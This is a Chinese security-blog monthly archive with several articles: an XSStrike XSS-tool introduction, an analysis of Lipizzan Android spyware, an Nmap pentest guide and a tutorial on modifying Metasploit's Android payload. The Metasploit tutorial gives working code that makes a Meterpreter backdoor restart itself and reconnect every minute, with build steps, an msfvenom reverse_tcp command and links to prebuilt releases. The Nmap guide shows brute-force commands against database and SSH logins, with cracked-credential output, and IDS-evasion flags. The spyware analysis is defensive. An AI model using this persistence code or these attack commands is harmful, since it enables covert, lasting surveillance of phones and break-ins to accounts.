月度归档:2017年07月

XSStrike:基于Python的XSS测试工具

简介

XSStrike 是一款用于探测并利用XSS漏洞的脚本

XSStrike目前所提供的产品特性:

对参数进行模糊测试之后构建合适的payload

使用payload对参数进行穷举匹配

内置爬虫功能

检测并尝试绕过WAF

同时支持GET及POST方式

大多数payload都是由作者精心构造

误报率极低

debian及kali系统可直接下载本.deb安装包

通用安装方法

使用如下命令进行下载:

git clone https://github.com/UltimateHackers/XSStrike/

完成下载之后,进入XSStrike目录:

cd XSStrike

接下来使用如下命令安装依赖模块:

pip install -r requirements.txt

完成安装,使用如下命令即可运行XSStrike:

python xsstrike

注意:本脚本仅支持Python 2.7

使用说明

XSStrike:基于Python的XSS测试工具

这时便可以键入目标URL,但请通过插入”d3v<”以标记最重要的参数
例如:target.com/search.php?q=d3v&category=1
键入目标URL之后,XSStrike将检测该目标是否有WAF保护,如果不受WAF保护你将看到下面4个选项

1. Fuzzer: 检测输入内容是如何在网页下进行反映的,之后据此尝试构建payload

XSStrike:基于Python的XSS测试工具

2. Striker: 对所有参数逐一进行穷举匹配,并在浏览器窗口中生成POC

XSStrike:基于Python的XSS测试工具

3. Spider: 提取目标页面上所有存在的链接,并对这些链接进行XSS测试

XSStrike:基于Python的XSS测试工具

4. Hulk: 使用了一种不同寻常的方式,直接无视掉输入所对应的网页内容变化。其有一个 polyglots 列表以及可靠的payload,它会逐一在目标参数中键入并在浏览器窗口中打开这些组合URL

XSStrike:基于Python的XSS测试工具

XSStrike同样也可以绕过WAF

XSStrike:基于Python的XSS测试工具

XSStrike 也支持 POST 方式

XSStrike:基于Python的XSS测试工具

你也可向 XSStrike 提供 cookies

XSStrike:基于Python的XSS测试工具

与其他使用蛮力算法的程序不同,XSStrike有着少而精的payload,其中大多数都是由作者精心构造的。如果你发现其中的BUG或者对程序有更好的建议,欢迎到我的Facebook主页下或者GitHub仓库留言

演示视频

看不到视频?点这里

*参考来源:github,freebuf小编鸢尾编译,转载请注明来自FreeBuf.com

Lipizzan间谍软件:监控用户手机并窃取隐私

1. 背景

Google近期披露了一款名为Lipizzan的间谍软件家族(疑似采用的网络武器公司Equus Technologies的技术)试图监控用户的手机。在此之前,Google曾宣布成功阻止了另一款名为Chrysao的间谍软件,据称,此间谍软件很可能是由以色列间谍公司NSO Group集团制作,而Lipizzan间谍软件就是在研究Chrysaor的过程中被发现的。

Google透露Lipizzan可窃取用户的电子邮件,短信,地理位置,屏幕截图等用户隐私数据。目前有20几个相应变种被针对性分发到100个左右的设备上。

腾讯反诈骗实验室经过技术分析确认Lipizzan存在间谍行为的包是com.android.mediaserver,主要包含以下功能:通话录音,VOIP网络电话录音,麦克风录音,位置监控,屏幕截图,调用摄像头拍照,上传用户的设备信息和存储的其它文件,其它用户隐私数据 (通讯录, 通话记录, 短信, 指定应用的本地存储数据)。

受影响的app包括Gmail,Hangouts,KakaoTalk,LinkedIn,Messenger,Skype,Snapchat,StockEmail,Telegram,Threema,Viber,Whatsapp。

从目前的信息看,该间谍软件寄生于Google play应用市场,中招的用户主要是国外小部分用户,国内暂无中毒案例出现。

2. Lipizzan详细分析

(1)流程图

Lipizzan间谍软件:监控用户手机并窃取隐私

(2)详细分析

母包释放子包的变化

初期:从服务器下载未加密的apk直接调用

Lipizzan间谍软件:监控用户手机并窃取隐私

后期:本机加密文件,通过服务器下发AES解密key进行解密

生成下载链接

Lipizzan间谍软件:监控用户手机并窃取隐私

对下载的子包进行解密

Lipizzan间谍软件:监控用户手机并窃取隐私

母包生成并动态加载子包

Lipizzan间谍软件:监控用户手机并窃取隐私

子包行为

申请root权限

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取短信记录

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取手机联系人头像,手机号码等信息

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取whatsapp隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

 窃取skype隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取Snapchat隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取StockEmail隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取Threema隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取Viber隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取KakaoTalk隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取LinkedIn隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取Gmail隐私文件

Lipizzan间谍软件:监控用户手机并窃取隐私

手机截图

Lipizzan间谍软件:监控用户手机并窃取隐私

使用设备麦克风录音

Lipizzan间谍软件:监控用户手机并窃取隐私

窃取voip录音

Lipizzan间谍软件:监控用户手机并窃取隐私

Lipizzan间谍软件:监控用户手机并窃取隐私

卸载母样本

Lipizzan间谍软件:监控用户手机并窃取隐私

卸载自身

Lipizzan间谍软件:监控用户手机并窃取隐私

上传信息

Lipizzan间谍软件:监控用户手机并窃取隐私

(3)Lipizzan病毒跑机图

Lipizzan间谍软件:监控用户手机并窃取隐私

3. 腾讯手机管家查杀情况

目前腾讯手机管家已经全面查杀Lipizzan,用户只要安装腾讯手机管家并且开启实时防护功能即可拦截该间谍软件。

Lipizzan间谍软件:监控用户手机并窃取隐私Lipizzan间谍软件:监控用户手机并窃取隐私

4. 安全建议

 同时,腾讯手机管家及腾讯移动安全实验室也针对此类病毒,给出如下安全建议:

(1)手机用户应通过腾讯手机管家或类似应用宝等正规渠道下载手机软件,不安装来自不明来源的应用安装提醒,确保手机应用的绿色安全。

(2)养成使用安全软件来保护手机安全的良好习惯。手机用户可下载安装如腾讯手机管家一类的手机安全软件,定期给手机进行体检和病毒查杀,移除存在安全风险的应用。

5. 关于腾讯安全实验室

腾讯移动安全实验室

基于腾讯手机管家产品服务,通过终端安全平台、网络安全平台和硬件安全平台为移动产业打造云管端全方位的安全解决方案。其中腾讯御安全专注于为个人和企业移动应用开发者,提供全面的应用安全服务。

腾讯安全反诈骗实验室

汇聚国际最顶尖白帽黑客和多位腾讯专家级大数据人才,专注反诈骗技术和安全攻防体系研究。反诈骗实验室拥有全球最大安全云数据库并服务99%中国网民。

*本文作者:腾讯电脑管家,转载请注明来自 FreeBuf.COM 

不老的神器:安全扫描器Nmap渗透使用指南

*本文原创作者:国光,属于FreeBuf原创奖励计划,转载请注明FreeBuf.COM

介绍

nmap是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图Nmap的发送特制的数据包到目标主机然后对返回数据包进行分析。Nmap是一款枚举和测试网络的强大工具。

特点

  • 主机探测
  • 端口扫描
  • 版本检测
  • 支持探测脚本的编写

安装

官网:http://nmap.org 图形化:Zenmap

基本操作

基本快速扫描

Nmap 默认发送一个arp的ping数据包来探测目标主机在1-10000范围内所开放的端口。

nmap 10.130.1.43

不老的神器:安全扫描器Nmap渗透使用指南

快速扫描多个目标

nmap <target ip1 address> <target ip2 address>
nmap 10.130.1.28 10.130.1.43

不老的神器:安全扫描器Nmap渗透使用指南

详细描述输出扫描

简单扫描并对返回的结果详细描述输出,这个扫描是可以看到扫描的过程的,漫长的扫描的过程中可以看到百分比 就不会显得那么枯燥而且可以提升逼格。

nmap -vv 10.1.1.254

不老的神器:安全扫描器Nmap渗透使用指南

亲测,-v-vv扫描几乎是一样都都是列出了详细的扫描过程。

指定端口和范围扫描

nmap 默认扫描目标1-10000范围内的端口号。我们则可以通过参数-p 来设置我们将要扫描的端口号

nmap -p(range) <target IP> 
namp -p3389,20-100 10.130.1.43

不老的神器:安全扫描器Nmap渗透使用指南

扫描除过某一个ip外的所有子网主机

nmap 10.130.1.1/24 -exclude 10.130.1.1

扫描除过某一个文件中的ip外的子网主机

nmap 10.130.1.1/24 -excludefile gov.txt

显示扫描的所有主机的列表

nmap -sL 10.130.1.1/24

sP ping 扫描

nmap 可以利用类似window/linux 系统下的ping方式进行扫描

nmap -sP <target ip>

一般来说 我们会用这个命令去扫描内网的一个ip范围用来做内网的主机发现。

nmap -sP 10.130.1.1-255

不老的神器:安全扫描器Nmap渗透使用指南

PING扫描不同于其它的扫描方式因为它只用于找出主机是否是存在在网络中的.它不是用来发现是否开放端口的.PING扫描需要ROOT权限如果用户没有ROOT权限,PING扫描将会使用connect()调用.

sS SYN半开放扫描

nmap -sS 192.168.1.1

Tcp SYN Scan (sS) 这是一个基本的扫描方式,它被称为半开放扫描因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。Nmap发送SYN包到远程主机但是它不会产生任何会话.因此不会在目标主机上产生任何日志记录,因为没有形成会话。这个就是SYN扫描的优势.如果Nmap命令中没有指出扫描类型,默认的就是Tcp SYN.但是它需要root/administrator权限。

sT TCP扫描

nmap -sT 192.168.1.1

不同于Tcp SYN扫描,Tcp connect()扫描需要完成三次握手,并且要求调用系统的connect().Tcp connect()扫描技术只适用于找出TCP和UDP端口。

sU UDP扫描

nmap -sU 192.168.1.1

这种扫描技术用来寻找目标主机打开的UDP端口.它不需要发送任何的SYN包因为这种技术是针对UDP端口的。UDP扫描发送UDP数据包到目标主机并等待响应,如果返回ICMP不可达的错误消息说明端口是关闭的如果得到正确的适当的回应说明端口是开放的.

sF FIN标志的数据包扫描

nmap -sF 110.130.1.43

不老的神器:安全扫描器Nmap渗透使用指南

可以看出这个扫描的话 会漏扫许多~FIN扫描也不会在目标主机上创建日志(FIN扫描的优势之一).个类型的扫描都是具有差异性的,FIN扫描发送的包只包含FIN标识,NULL扫描不发送数据包上的任何字节,XMAS扫描发送FIN、PSH和URG标识的数据包.

sV Version版本检测扫描

nmap -sV 192.168.1.135

本检测是用来扫描目标主机和端口上运行的软件的版本.它不同于其它的扫描技术它不是用来扫描目标主机上开放的端口不过它需要从开放的端口获取信息来判断软件的版本.使用版本检测扫描之前需要先用TCPSYN扫描开放了哪些端口。

不老的神器:安全扫描器Nmap渗透使用指南

这个扫描的话速度会慢一些67.86秒扫一个IP。

O OS操作系统类型的探测

nmap -O 10.130.1.43

远程检测操作系统和软件Nmap的OS检测技术在渗透测试中用来了解远程主机的操作系统和软件是非常有用的通过获取的信息你可以知道已知的漏洞。Nmap有一个名为的nmap-OS-DB数据库该数据库包含超过2600操作系统的信息。Nmap把TCP和UDP数据包发送到目标机器上然后检查结果和数据库对照。

不老的神器:安全扫描器Nmap渗透使用指南

osscan-guess 猜测匹配操作系统

nmap -O --osscan-guess 192.168.1.134

通过Nmap准确的检测到远程操作系统是比较困难的需要使用到Nmap的猜测功能选项,–osscan-guess猜测认为最接近目标的匹配操作系统类型。

不老的神器:安全扫描器Nmap渗透使用指南

PN No ping扫描

nmap -O -PN 192.168.1.1/24

如果远程主机有防火墙IDS和IPS系统你可以使用-PN命令来确保不ping远程主机因为有时候防火墙会组织掉ping请求.-PN命令告诉Nmap不用ping远程主机。使用-PN参数可以绕过PING命令,但是不影响主机的系统的发现。

不老的神器:安全扫描器Nmap渗透使用指南

这个扫描整个c段局域网的话还是比较耗时的但是信息收集很详细大概耗时9分钟。

T 设置时间模板

nmap -sS -T<0-5> 192.168.1.134

优化时间控制选项的功能很强大也很有效但有些用户会被迷惑。此外 往往选择合适参数的时间超过了所需优化的扫描时间。因此Nmap提供了一些简单的 方法使用6个时间模板使用时采用-T选项及数字(0 – 5) 或名称。模板名称有paranoid (0)、sneaky (1)、polite (2)、normal(3)、 aggressive (4)和insane (5)

  • paranoid、sneaky模式用于IDS躲避
  • Polite模式降低了扫描 速度以使用更少的带宽和目标主机资源。
  • Normal为默认模式因此-T3 实际上是未做任何优化。
  • Aggressive模式假设用户具有合适及可靠的网络从而加速 扫描.
  • nsane模式假设用户具有特别快的网络或者愿意为获得速度而牺牲准确性。

网段扫描格式

nmap -sP <network address > </CIDR >

解释CIDR 为你设置的子网掩码(/24 , /16 ,/8 等)

10.1.1.0/24  =  10.1.1.1-10.1.1.255       #c段扫描
10.1.1.0/16  =  10.1.1.1-10.1.255.255     #b段扫描
10.1.1.0/8   =  10.1.1.1-10.255.255.255   #a段扫描

从文件中读取需要扫描的IP列表

nmap -iL ip-address.txt

不老的神器:安全扫描器Nmap渗透使用指南

路由跟踪扫描

路由器追踪功能能够帮网络管理员了解网络通行情况同时也是网络管理人员很好的辅助工具通过路由器追踪可以轻松的查处从我们电脑所在地到目标地之间所经常的网络节点并可以看到通过各个节点所花费的时间

nmap -traceroute www.baidu.com

不老的神器:安全扫描器Nmap渗透使用指南

A OS识别,版本探测,脚本扫描和traceroute综合扫描

此选项设置包含了1-10000的端口ping扫描操作系统扫描脚本扫描路由跟踪服务探测。

nmap -A 10.130.1.43

不老的神器:安全扫描器Nmap渗透使用指南不老的神器:安全扫描器Nmap渗透使用指南

命令混合式扫描

命令混合扫描可以做到类似参数-A所完成的功能但又能细化到我们所需特殊要求。所以一般高手选择这个混合扫描

nmap -vv -p1-100,3306,3389 -O -traceroute 10.130.1.43

这些参数都是可以灵活调用的具体根据具体的扫描来使用各个参数。

不老的神器:安全扫描器Nmap渗透使用指南不老的神器:安全扫描器Nmap渗透使用指南

nmap -p1-65535 -sV -sS -T4 10.130.1.134

使SYN扫描并进行Version版本检测 使用T4(aggressive)的时间模板对目标ip的全端口进行扫描。

输出格式

扫描的结果输出到屏幕,同时会存储一份到grep-output.txt

nmap -sV -p 139,445 -oG grep-output.txt 10.0.1.0/24

扫描结果输出为html

nmap -sS -sV -T5 10.0.1.99 --webxml -oX - | xsltproc --output file.html

nmap高级用法之脚本使用

按照脚本分类进行扫描

nmap --script 类别

nmap官方脚本文档: https://nmap.org/nsedoc/

不老的神器:安全扫描器Nmap渗透使用指南

左侧列出了脚本的分类点击分类 可以看到每一个分类下有很多具体的脚本供我们使用。nmap --script=类别这里的类别可以填写下面14大分类中的其中之一也可以填写分类里面的具体漏洞扫描脚本。nmap脚本分类:

- auth: 负责处理鉴权证书绕开鉴权的脚本  
- broadcast: 在局域网内探查更多服务开启状况如dhcp/dns/sqlserver等服务  
- brute: 提供暴力破解方式针对常见的应用如http/snmp等  
- default: 使用-sC或-A选项扫描时候默认的脚本提供基本脚本扫描能力  
- discovery: 对网络进行更多的信息如SMB枚举、SNMP查询等  
- dos: 用于进行拒绝服务攻击  
- exploit: 利用已知的漏洞入侵系统  
- external: 利用第三方的数据库或资源例如进行whois解析  
- fuzzer: 模糊测试的脚本发送异常的包到目标机探测出潜在漏洞 
- intrusive: 入侵性的脚本此类脚本可能引发对方的IDS/IPS的记录或屏蔽
- malware: 探测目标机是否感染了病毒、开启了后门等信息  
- safe: 此类与intrusive相反属于安全性脚本  
- version: 负责增强服务与版本扫描Version Detection功能的脚本  
- vuln: 负责检查目标机是否有常见的漏洞Vulnerability如是否有MS08_067

使用具体脚本进行扫描

nmap --script 具体的脚本 www.baidu.com

常用脚本使用案例

扫描服务器的常见漏洞

nmap --script vuln <target>

检查FTP是否开启匿名登陆

nmap --script ftp-anon <target>
PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.

对MySQL进行暴破解

nmap --script=mysql-brute <target>
3306/tcp open  mysql
| mysql-brute:
|   Accounts
|     root:root - Valid credentials

不老的神器:安全扫描器Nmap渗透使用指南

可以看出已经暴力成功破解了MySQL,在368秒内进行45061次猜测平均TPS为146.5。

对MsSQL进行暴破解

nmap -p 1433 --script ms-sql-brute --script-args userdb=customuser.txt,passdb=custompass.txt <host>
| ms-sql-brute:
|   [192.168.100.128/TEST]
|     No credentials found
|     Warnings:
|       sa: AccountLockedOut
|   [192.168.100.128/PROD]
|     Credentials found:
|       webshop_reader:secret => Login Success
|       testuser:secret1234 => PasswordMustChange
|_      lordvader:secret1234 => Login Success

对Oracle数据库进行暴破解

nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=ORCL <host>
PORT     STATE  SERVICE REASON
1521/tcp open  oracle  syn-ack
| oracle-brute:
|   Accounts
|     system:powell => Account locked
|     haxxor:haxxor => Valid credentials
|   Statistics
|_    Perfomed 157 guesses in 8 seconds, average tps: 19

对pgSQL的暴力破解

nmap -p 5432 --script pgsql-brute <host>
5432/tcp open  pgsql
| pgsql-brute:
|   root:<empty> => Valid credentials
|_  test:test => Valid credentials

对SSH进行暴力破解

nmap -p 22 --script ssh-brute --script-args userdb=users.lst,passdb=pass.lst --script-args ssh-brute.timeout=4s <target>
22/ssh open  ssh
| ssh-brute:
|  Accounts
|    username:password
|  Statistics
|_   Performed 32 guesses in 25 seconds.

利用DNS进行子域名暴力破解

nmap --script dns-brute www.baidu.com
λ nmap --script dns-brute www.baidu.com                      

Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-25 13:12 ?
Nmap scan report for www.baidu.com (180.97.33.108)           
Host is up (0.018s latency).                                 
Other addresses for www.baidu.com (not scanned): 180.97.33.10
Not shown: 998 filtered ports                                
PORT    STATE SERVICE                                        
80/tcp  open  http                                           
443/tcp open  https                                          

Host script results:                                         
| dns-brute:                                                 
|   DNS Brute-force hostnames:                               
|     admin.baidu.com - 10.26.109.19                         
|     mx.baidu.com - 61.135.163.61                           
|     svn.baidu.com - 10.65.211.174                          
|     ads.baidu.com - 10.42.4.225                                                

Nmap done: 1 IP address (1 host up) scanned in 92.64 seconds

不老的神器:安全扫描器Nmap渗透使用指南

额(⊙⊙) 这个admin.baidu.com后面那个10.26.109.19难道真的是百度内网的管理平台地址

检查VMWare ESXESXi和服务器CVE-2009-3733中的路径遍历漏洞

nmap --script http-vmware-path-vuln -p80,443,8222,8333 <host>
| http-vmware-path-vuln:
|   VMWare path traversal (CVE-2009-3733): VULNERABLE
|     /vmware/Windows 2003/Windows 2003.vmx
|     /vmware/Pentest/Pentest - Linux/Linux Pentest Bravo.vmx
|     /vmware/Pentest/Pentest - Windows/Windows 2003.vmx
|     /mnt/vmware/vmware/FreeBSD 7.2/FreeBSD 7.2.vmx
|     /mnt/vmware/vmware/FreeBSD 8.0/FreeBSD 8.0.vmx
|     /mnt/vmware/vmware/FreeBSD 8.0 64-bit/FreeBSD 8.0 64-bit.vmx
|_    /mnt/vmware/vmware/Slackware 13 32-bit/Slackware 13 32-bit.vmx

查询VMware服务器vCenterESXESXiSOAP API以提取版本信息。

λ nmap --script vmware-version -p443 10.0.1.4

Starting Nmap 7.50 ( https://nmap.org ) at 2017-07-25 12:26 ?D1ú±ê×?ê±??
Nmap scan report for 10.0.1.4
Host is up (0.0019s latency).

PORT    STATE SERVICE
443/tcp open  https
| vmware-version:
|   Server version: VMware ESXi 6.5.0
|   Build: 4887370
|   Locale version: INTL 000
|   OS type: vmnix-x86
|_  Product Line ID: embeddedEsx
Service Info: CPE: cpe:/o:vmware:ESXi:6.5.0

Nmap done: 1 IP address (1 host up) scanned in 6.28 seconds

不老的神器:安全扫描器Nmap渗透使用指南

参数详解

Nmap支持主机名,ip,网段的表示方式例如:blah.highon.coffee, namp.org/24, 192.168.0.1;10.0.0-25.1-254

-iL filename                    从文件中读取待检测的目标,文件中的表示方法支持机名,ip,网段
-iR hostnum                     随机选取,进行扫描.如果-iR指定为0,则是无休止的扫描
--exclude host1[, host2]        从扫描任务中需要排除的主机           
--exculdefile exclude_file      排除文件中的IP,格式和-iL指定扫描文件的格式相同

主机发现

-sL                     仅仅是显示,扫描的IP数目,不会进行任何扫描
-sn                     ping扫描,即主机发现
-Pn                     不检测主机存活
-PS/PA/PU/PY[portlist]  TCP SYN Ping/TCP ACK Ping/UDP Ping发现
-PE/PP/PM               使用ICMP echo, timestamp and netmask 请求包发现主机
-PO[prococol list]      使用IP协议包探测对方主机是否开启   
-n/-R                   不对IP进行域名反向解析/为所有的IP都进行域名的反响解析

扫描技巧

-sS/sT/sA/sW/sM                 TCP SYN/TCP connect()/ACK/TCP窗口扫描/TCP Maimon扫描
-sU                             UDP扫描
-sN/sF/sX                       TCP NullFINand Xmas扫描
--scanflags                     自定义TCP包中的flags
-sI zombie host[:probeport]     Idlescan
-sY/sZ                          SCTP INIT/COOKIE-ECHO 扫描
-sO                             使用IP protocol 扫描确定目标机支持的协议类型
-b “FTP relay host”             使用FTP bounce scan

指定端口和扫描顺序

-p                      特定的端口 -p80,443 或者 -p1-65535
-p U:PORT               扫描udp的某个端口, -p U:53
-F                      快速扫描模式,比默认的扫描端口还少
-r                      不随机扫描端口,默认是随机扫描的
--top-ports "number"    扫描开放概率最高的number个端口,出现的概率需要参考nmap-services文件,ubuntu中该文件位于/usr/share/nmap.nmap默认扫前1000个
--port-ratio "ratio"    扫描指定频率以上的端口

服务版本识别

-sV                             开放版本探测,可以直接使用-A同时打开操作系统探测和版本探测
--version-intensity "level"     设置版本扫描强度,强度水平说明了应该使用哪些探测报文。数值越高服务越有可能被正确识别。默认是7
--version-light                 打开轻量级模式,为--version-intensity 2的别名
--version-all                   尝试所有探测,为--version-intensity 9的别名
--version-trace                 显示出详细的版本侦测过程信息

脚本扫描

-sC                             根据端口识别的服务,调用默认脚本
--script=”Lua scripts”          调用的脚本名
--script-args=n1=v1,[n2=v2]     调用的脚本传递的参数
--script-args-file=filename     使用文本传递参数
--script-trace                  显示所有发送和接收到的数据
--script-updatedb               更新脚本的数据库
--script-help=”Lua script”      显示指定脚本的帮助

OS识别

-O              启用操作系统检测,-A来同时启用操作系统检测和版本检测
--osscan-limit  针对指定的目标进行操作系统检测(至少需确知该主机分别有一个open和closed的端口)
--osscan-guess  推测操作系统检测结果,当Nmap无法确定所检测的操作系统时会尽可能地提供最相近的匹配Nmap默认进行这种匹配

防火墙/IDS躲避和哄骗

-f; --mtu value                 指定使用分片、指定数据包的MTU.
-D decoy1,decoy2,ME             使用诱饵隐蔽扫描
-S IP-ADDRESS                   源地址欺骗
-e interface                    使用指定的接口
-g/ --source-port PROTNUM       使用指定源端口  
--proxies url1,[url2],...       使用HTTP或者SOCKS4的代理 

--data-length NUM               填充随机数据让数据包长度达到NUM
--ip-options OPTIONS            使用指定的IP选项来发送数据包
--ttl VALUE                     设置IP time-to-live域
--spoof-mac ADDR/PREFIX/VEBDOR  MAC地址伪装
--badsum                        使用错误的checksum来发送数据包

Nmap 输出

-oN                     将标准输出直接写入指定的文件
-oX                     输出xml文件
-oS                     将所有的输出都改为大写
-oG                     输出便于通过bash或者perl处理的格式,非xml
-oA BASENAME            可将扫描结果以标准格式、XML格式和Grep格式一次性输出
-v                      提高输出信息的详细度
-d level                设置debug级别,最高是9
--reason                显示端口处于带确认状态的原因
--open                  只输出端口状态为open的端口
--packet-trace          显示所有发送或者接收到的数据包
--iflist                显示路由信息和接口,便于调试
--log-errors            把日志等级为errors/warings的日志输出
--append-output         追加到指定的文件
--resume FILENAME       恢复已停止的扫描
--stylesheet PATH/URL   设置XSL样式表转换XML输出
--webxml                从namp.org得到XML的样式
--no-sytlesheet         忽略XML声明的XSL样式表

其他nmap选项

-6                      开启IPv6
-A                      OS识别,版本探测,脚本扫描和traceroute
--datedir DIRNAME       说明用户Nmap数据文件位置
--send-eth / --send-ip  使用原以太网帧发送/在原IP层发送
--privileged            假定用户具有全部权限
--unprovoleged          假定用户不具有全部权限,创建原始套接字需要root权限
-V                      打印版本信息
-h                      输出帮助

*本文原创作者:国光,属于FreeBuf原创奖励计划,转载请注明FreeBuf.COM

修改Metasploit安卓Payload源码以实现持久化访问

* 本文作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载

Metasploit-Payload是广泛使用的安卓后门之一,然而无论是直接使用msfvenom生成的apk文件,还是通过其他手段将payload注入到已有apk中,其连接稳定性都非常差,基本在APP启动的一刹那可以建立连接,如果网络不稳定,中断后不会再次连接。本文将通过直接修改安卓payload源码已实现持久化访问。

分析

Metasploit安卓payload所建立的sessions连接非常不稳定,国内外高人想出了很多解决方案,目前最普遍的方案是在连接建立时,在目标机器上执行以下脚本:

#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done

但是这种方案有个前提就是需要连接成功的建立,否则脚本根本无法执行,而且笔者在测试这段脚本在有些情况下会有权限错误,所以并不是最好的解决方案。随着笔者对Metasploit安卓payload更深入的研究,发现Payload源码是可以修改的,而且非常容易。Metasploit安卓payload的源码托管在https://github.com/rapid7/metasploit-payloads/ 中的java目录下。通过分析源码发现,Payload代码主要通过注册的安卓服务com.metasploit.stage.MainService执行,其相关代码如下:

public class MainService extends Service {
    public static void startService(Context context) {
        context.startService(new Intent(context, MainService.class));
    }
    @Override
    public IBinder onBind(Intent intent) {
        return null;
    }
    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        Payload.start(this);
        return START_STICKY;
    }
}

服务启动时会执行Payload.start(this);这里才会执行Payload的关键代码。那么其实想要实现Payload的持久化访问,就是一个在安卓开发中非常常见的一个话题,如何让Service长久的运行,并且要让Payload.start()不断地执行。经过一番调查,笔者最终选择添加以下功能:

  1. 在Service销毁时自动重启
  2. 添加AlarmManager使Service定时执行

源码修改

要想让Service销毁时自动重启,我们可以重写Service类中的onDestroy方法,定位到文件androidpayload/app/src/com/metasploit/stage/MainService.java,在MainService类中添加以下代码:

 @Override
 public void onDestroy() {
     Intent localIntent = new Intent();      
     localIntent.setClass(this, MainService.class);
     this.startService(localIntent);
 }

经过笔者实测,有了这段代码,当在手机上关闭App时,Payload连接会断开并重新建立。然而这种方式还是不完美,Payload断开服务并不会结束,不会调用onDestroy方法,服务也不会重新执行,所以我们通过添加AlarmManager使Service定时执行。还是在MainService类中,我们修改onStartCommand方法:

 @Override
 public int onStartCommand(Intent intent, int flags, int startId) {
     Payload.start(this);
     AlarmManager manager = (AlarmManager) getSystemService(ALARM_SERVICE);
     int restarttime = 60 * 1000; // one minute
     long triggerAtTime = SystemClock.elapsedRealtime() + restarttime;
     Intent i = new Intent("METASPLOIT");
     PendingIntent pi = PendingIntent.getBroadcast(this, 0, i, 0);
     manager.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, triggerAtTime, pi);
     return START_STICKY;
     }

其中restarttime为重启时间,可以根据需要修改,为了测试这里将时间设为1分钟。AlarmManager需要一个Receiver,Metasploit已经提供了一个MainBroadcastReceiver类,但是只接收ACTION_BOOT_COMPLETED,所以我们修改文件androidpayload/app/src/com/metasploit/stage/MainBroadcastReceiver.java,直接将判断代码删除:

 @Override
 public void onReceive(Context context, Intent intent) {
      MainService.startService(context);
 }

同时在androidpayload/app/src/main/AndroidManifest.xml中修改Receiver的相关设置:

<receiver
    android:name=".MainBroadcastReceiver"
    android:label="MainBroadcastReceiver">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="METASPLOIT" />
    </intent-filter>
</receiver>

编译、部署

笔者在编译过程中碰到了好多坑,这里就不赘述碰壁的过程,直接将最后成功的步骤分享在这里。

1. 根据自身的环境安装Maven(3.0以上版本),Android-SDK,Android-NDK。

2.下载API版本为10和19的安卓SDK。

修改Metasploit安卓Payload源码以实现持久化访问 

3. 在JAVA目录下执行编译命令mvn -D deploy.path=target -P android -P deploy -Dandroid.ndk.path=$ANDROID_NDK_HOME -Dandroid.sdk.path=$ANDROID_SDK_ROOT -Dandroid.release=true package注意其中的sdk和ndk路径要设置正确,这一步有可能爆出错误,但是只要AndroidPayload for Metasploit编译成功就可以了

修改Metasploit安卓Payload源码以实现持久化访问

4. 在target/data目录下能够看到编译好的android文件夹

修改Metasploit安卓Payload源码以实现持久化访问

5. 将target/data/目录下的android目录(其他目录不用管),复制到Metasploit-framework根目录下的data文件夹。

修改Metasploit安卓Payload源码以实现持久化访问

测试

通过msfvenom命令生成APK:msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -o payload.apk

如果开头出现了这两个WARNING,说明msfvenom生成APK时使用的是我们修改后的版本。

修改Metasploit安卓Payload源码以实现持久化访问

在虚拟机中安装我们生成的APK文件,在METASPLOIT控制台中可以发现,每分钟都能建立一个新的sessions。

修改Metasploit安卓Payload源码以实现持久化访问

后记

笔者主要通过Service不断的执行以使Payload持久化,可能不是最好的但确是非常容易的方案,如果各位有兴趣可以研究一下Payload类的代码,让Payload连接一中断就重连可能是更好的方案。

同时本文也给大家提供了一个定制APK的思路,androidpayload/app/res/values/strings.xml文件可以修改APP的名称,androidpayload/app/AndroidManifest.xml文件可以定制需要的权限。

为了方便大家分析和使用,我已将修改后的代码上传至https://github.com/xiaohuanshu/persistent-androidpayload ,如果不想编译编译,也可以直接下载我编译好的版本,在https://github.com/xiaohuanshu/persistent-androidpayload/releases 中有不同重启时间的编译版本,只要把android目录解压到metasploit-framework根目录下的data文件夹下即可。

至于修改后的APK能否通过自动化工具嵌入到其他APK中,笔者没有测试但理论上不行,推荐手动进行嵌入或通过msfvenom的-X参数嵌入。

最后再次提醒大家留意来路不明的Apk文件,信息安全不容小视,本文仅供学习使用,请勿用于非法用途。

* 本文作者:xiaohuanshu,本文属FreeBuf原创奖励计划,未经许可禁止转载 

Burp Suite扫描器漏洞扫描功能介绍及简单教程

* 本文作者:pageuo,本文属FreeBuf原创奖励计划,未经许可禁止转载

众所周知,burpsuite是一款非常强大的渗透测试套件。其中包括但不限于各类渗透测试功能,搭配各类插件使用更是渗透测试中一款离不开的工作。除了商业化漏扫之外,burp suite也提供了一个扫描器的功能,但似乎国内并没有step by step的一个教程,这里给大家简单的介绍下burp suite的漏扫功能,大牛请绕路,小白请进来。

